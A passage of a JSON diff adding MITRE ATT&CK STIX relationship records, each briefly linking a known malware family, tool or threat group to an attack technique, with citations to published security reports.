Group-3390](https://attack.mitre.org/groups/G0027) malware has used HTTP for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db191b70-063d-433b-a462-9f7611a5a0e2", + "external_references": [ + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "modified": "2019-07-14T21:15:54.956Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create a link to itself in the Startup folder to automatically start itself upon system restart.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) connects to external C2 infrastructure over the HTTP port.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6ff627a0-fd3d-46ac-a935-e503bd6b4d5f", + "external_references": [ + { + "source_name": "Symantec Wiarp May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Analysis of [Daserf](https://attack.mitre.org/software/S0187) has shown that it regularly undergoes technical improvements to evade anti-virus detection.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71", + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on users.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--719f0c42-8eb8-461b-8f35-cf5dfc42e47b", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.623Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66f2ff8f-abc2-4a6c-9652-89d7c824422c", + "external_references": [ + { + "source_name": "Symantec Linfo May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "relationship_type": "uses", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component is capable of opening a command terminal.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--19be6ce1-8eea-47ff-b87c-3358d390454d", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "modified": "2019-04-24T16:39:53.933Z", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-10T19:28:00.981Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d242dc5a-3969-498c-b7eb-5d850e7d384d", + "external_references": [ + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "relationship_type": "uses", + "target_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload is capable of running shell commands without cmd.exe and PowerShell commands without powershell.exe", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b9fbec2-0e72-44ef-94a5-a9f702469c93", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.209Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to change firewall settings to allow a plug-in to be downloaded.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encodes data with base64.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--81682d49-acb2-4439-a7da-1a28126cea94", + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "modified": "2019-04-29T18:13:08.435Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.352Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b18b0b1-1116-4e42-90b5-ffa3059955a7", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is capable of creating reverse shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:19:10.350Z", + "type": "relationship", + "id": "relationship--bb1de6e6-23ce-42a8-bcd7-fd75aec24c50", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.022Z", + "source_ref": "course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-08T14:33:16.273Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e27ff4a-fa86-46b1-8aea-748ec398b47e", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has run a plug-in on a victim to spread through the local network by using [PsExec](https://attack.mitre.org/software/S0029) and accessing admin shares.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--53d7b242-3ed6-4281-9829-e25d425e28fe", + "external_references": [ + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.634Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to register itself as a Windows service.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb0ebed2-4cac-437b-b5b2-37ee716af3f0", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.109Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) collects Keychain storage data and copies those passwords/tokens to a file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d22b326c-ceaf-424b-b263-e0830bab9bf3", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "source_name": "Symantec Calisto July 2018", + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) is capable of downloading files, including additional modules.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92c901ce-5edb-417f-8af5-d569203e241c", + "external_references": [ + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "JPCERT ChChes Feb 2017", + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Naid](https://attack.mitre.org/software/S0205) connects to C2 infrastructure and establishes backdoors over a custom communications protocol.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b7adff8b-a51a-46c7-ba8a-d1292002f2c8", + "external_references": [ + { + "source_name": "Symantec Naid June 2012", + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + }, + { + "source_name": "Symantec Naid in the Wild June 2012", + "description": "Symantec Security Response. (2012, June 18). CVE-2012-1875 Exploited in the Wild - Part 1 (Trojan.Naid). Retrieved February 22, 2018.", + "url": "https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) uses a custom binary protocol to beacon back to its C2 server. It has also used XOR for encrypting communications.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a6c13d3-6589-4d33-9848-88e3409be0cc", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's IP address and domain information, and then sends it to its C2 server.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d818f5b-6145-4d8f-9be2-2d12fc1f71f1", + "external_references": [ + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[spwebmember](https://attack.mitre.org/software/S0227) is used to enumerate and dump information from Microsoft SharePoint.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a0748a1-7629-4afb-b089-ae068608a964", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can load a DLL using the LoadLibrary API.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--163c1ca5-c5cb-4cc8-b9e4-d0a137d41e52", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-06-28T20:48:52.483Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) uses the net view command for discovery.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c021bb7-e96b-4a87-931b-d74f19ec8bcb", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.104Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After creating a new service for persistence, [TDTESS](https://attack.mitre.org/software/S0164) sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to modify the Registry.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69bff194-c90e-4e30-a369-57da4cff014d", + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) captures screenshots of the infected system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4f662d6-7e47-4161-bf8d-dd445ae901b1", + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + }, + { + "source_name": "Talos ROKRAT 2", + "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html" + }, + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-26T22:56:58.202Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim usernames.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d3296a5-9a15-4bd9-a294-ee014348136c", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) contains junk code in its binary, likely to confuse malware analysts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + 